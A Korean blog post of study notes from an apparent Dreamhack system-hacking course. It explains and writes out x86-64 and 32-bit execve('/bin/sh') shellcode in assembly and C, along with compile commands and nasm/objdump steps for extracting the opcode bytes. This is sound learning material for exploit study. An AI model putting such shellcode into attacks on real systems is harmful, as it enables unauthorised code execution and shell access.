728x90
반응형
프롤로그
다시 한 번 해보자.... 아직 아무것도 모르겠긴 한데 무지성으로 박으면 할 만 하겠지?
execve 셸코드
내가 알고 있던 건, exec 함수군들은, 인자로 받은 프로그램을 자신이 현재 실행중인 메모리에 덮어쓰기 하여 실행시키는 것으로 알고 있다.
그래서 execve 셸코드를 한 번 해보자.
execve("/bin/sh", null, null)
이걸 실행할려면, 환경변수도 Null, 넘겨줄 인자 배열도 Null이다.
고로, syscall 은 execve, arg1(rsi)= 0(null), arg2(rdx) = 0 으로한다
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
처음에 메모리에 /bin/sh 를 넣어야 하기에 rax에 넣고 push를 하면, rsp는 해당 지점을 가리키고 있는데, rdi에 rsp 를 대입하면 메모리 읽기가 성공한다
rsi, rdx는 다 0으로 설정하기 위해 xor연산을 해주고, rax에 0x3b을 넣고 syscall을 한다.
execve 셸코드 컴파일 및 실행
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
objdump를 이용한 shellcode 추출
어셈블리어를 opcode(byte code)의 형태로 추출해보자
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
위 어셈블리 코드를 어떻게 op코드로 변형시키는가..
(1) shellcode.o 만들기
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
(2) shellcode.bin 만들기
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
(3) 출력하기
에필로그
대충 어셈블리어는 감이 오는데, 아직까진 레지스터가 조금 헷갈린다. 꼭 저 레지스터에 데이터를 저장해야하는가?
이런 느낌... 나머지는 뭐 그냥 명령어 외우는 건가 하고 생각하고 있다.
728x90
반응형
'보안 스터디 > 시스템 해킹' 카테고리의 다른 글
[드림핵/시스템해킹] Mitigation: NX & ASLR (0) | 2024.04.21 |
---|---|
[드림핵/워게임] shell_basic (포너블/시스템해킹) (1) | 2024.01.27 |
[드림핵/시스템해킹] Exploit Tech: Shellcode -1 (1) | 2023.12.31 |
[드림핵/시스템해킹] Tools : gdb -2 (0) | 2023.12.29 |
[드림핵 /시스템 해킹] pwndbg 설치하기 (Tools : gdb) (1) | 2023.12.28 |